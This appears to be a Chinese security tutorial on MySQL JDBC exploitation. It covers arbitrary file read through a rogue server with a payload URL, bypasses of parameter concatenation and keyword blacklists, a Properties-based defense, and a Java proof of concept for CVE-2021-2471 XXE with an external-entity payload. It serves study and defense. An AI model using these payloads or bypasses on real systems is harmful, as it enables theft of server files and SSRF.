读文件
当我们可以控制jdbc mysql连接的时候,我们可以通过设置如下这几个参数通过连接恶意mysql服务器来达到任意文件读取的危害
1 2 3 4 5 6 7
| 文件读取的参数 allowLoadLocalInfileInPath=/ 设置读的目录为根目录,这样所有的目录文件都可以读取 allowLoadLocalInfile=true 允许mysql读取客户端本地文件 allowUrlInLocalInfile=true 允许mysql通过url的形式读取客户端本地文件(如果有udf或mysql插件允许使用http_get(url)这样的函数,又会导致ssrf漏洞)
设置包大小参数 maxAllowedPacket=655360
|
核心机制:mysql可以要求客户端读取本地文件的,例如执行以下sql
1 2
| LOAD DATA LOCAL INFILE '/path/to/file' INTO TABLE t;
|
底层 MySQL 协议流程是:
1 2
| Server → Client : 请给我这个文件的内容 Client → Server : 好的,我把文件读出来发给你
|
客户端是被动执行mysql指令的
现在我们如果可以控制一个客户端的jdbc连接点,就可以设置指定参数,利用这一特性来做到任意文件读取
攻击流程:
客户端携带危险jdbc参数连接恶意mysql–>客户端进行jdbc连接后的默认sql语句查询–>mysql返回恶意指令,请求读取客户端文件–>客户端jdbc自动将文件发送到mysql
payload:
1
| jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_file_path
|
mysql蜜罐应该也是用的这个漏洞
JDBC连接参数不完全可控的绕过
注释符绕过
有一些情景开发人员可能意识到了这个问题,采用url拼接已赋值的危险参数的形式来防护
1 2
| String jdbcUrl = request.getParameter("jdbcUrl"); Connection conn = DriverManager.getConnection(jdbcUrl + "&serverTimezone=Asia/Shanghai&allowLoadLocalInfile=false&allowUrlInLocalInfile=false");
|
在8.0.x版本可以使用注释符#来注释掉后面的内容,这样就可以注释掉拼接内容


在5.1.x版本不能通过#注释来绕过,但可以通过&x=这种形式来绕过,但拼接的内容不能是以&开始


黑名单绕过
如果黑名单这样写
1 2 3 4 5
| public static boolean isValidUrl(String url){ if(url.contains("allowLoadLocalInfile")||url.contains("allowUrlInLocalInfile")||url.contains("allowLoadLocalInfileInPath")){ return false; } }
|
那么在8.0.x是可以使用url编码的方式来对参数名和参数值进行编码,但5.1.x仅仅参数值可以被编码,无法绕过这个黑名单

防御
使用预先定义的Properties将URL中的属性覆盖掉
1 2 3 4 5
| Properties properties = new Properties(); properties.setProperty("allowLoadLocalInfile","false"); properties.setProperty("allowUrlInLocalInfile","false"); properties.setProperty("allowLoadLocalInfileInPath",""); Connection conn = DriverManager.getConnection(DB_URL,properties);
|
JDBC XXE(CVE-2021-2471)
这个漏洞是由于MySQL JDBC 8.0.27版本之前,存在getSource()方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体,造成XXE攻击
利用条件比较苛刻,需要找到getSource()参数可控点
复现
jdbc=8.0.26
数据库返回恶意数据导致xxe(一般需要sqli漏洞配合)
从数据库查数据之后经过getSource函数处理xml内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class XXE { public static void main(String[] args) throws Exception { String db_ip = "127.0.0.1"; String db_port = "3306"; String db_name = "test"; String db_user = "test"; String db_pass = "123456"; String url = "jdbc:mysql://"+db_ip+":"+db_port+"/"+db_name+""; Connection con = DriverManager.getConnection(url,db_user,db_pass); String sql = "SELECT test FROM test LIMIT 1"; Statement stmt = con.createStatement(); ResultSet rs = stmt.executeQuery(sql); String xml = null; if (rs.next()) { xml = rs.getString(1); } System.out.println(xml); SQLXML sqlxml = con.createSQLXML(); sqlxml.setString(xml); sqlxml.getSource(DOMSource.class); } }
|
在数据库中写入恶意xml

成功触发XXE

用户输入恶意数据导致XXE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class XXE { public static void main(String[] args) throws Exception { String db_ip = "127.0.0.1"; String db_port = "3306"; String db_name = "test"; String db_user = "test"; String db_pass = "123456";
String url = "jdbc:mysql://"+db_ip+":"+db_port+"/"+db_name+""; String xxe = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" + "<!DOCTYPE foo [\n" + "<!ELEMENT foo ANY >\n" + "<!ENTITY xxe SYSTEM \"http://127.0.0.1:8888/test.dtd\" >\n" + "]>\n" + "<foo>&xxe;</foo>";
Connection con = DriverManager.getConnection(url, db_user, db_pass); SQLXML sqlxml = con.createSQLXML(); sqlxml.setString(xxe); sqlxml.getSource(DOMSource.class); } }
|
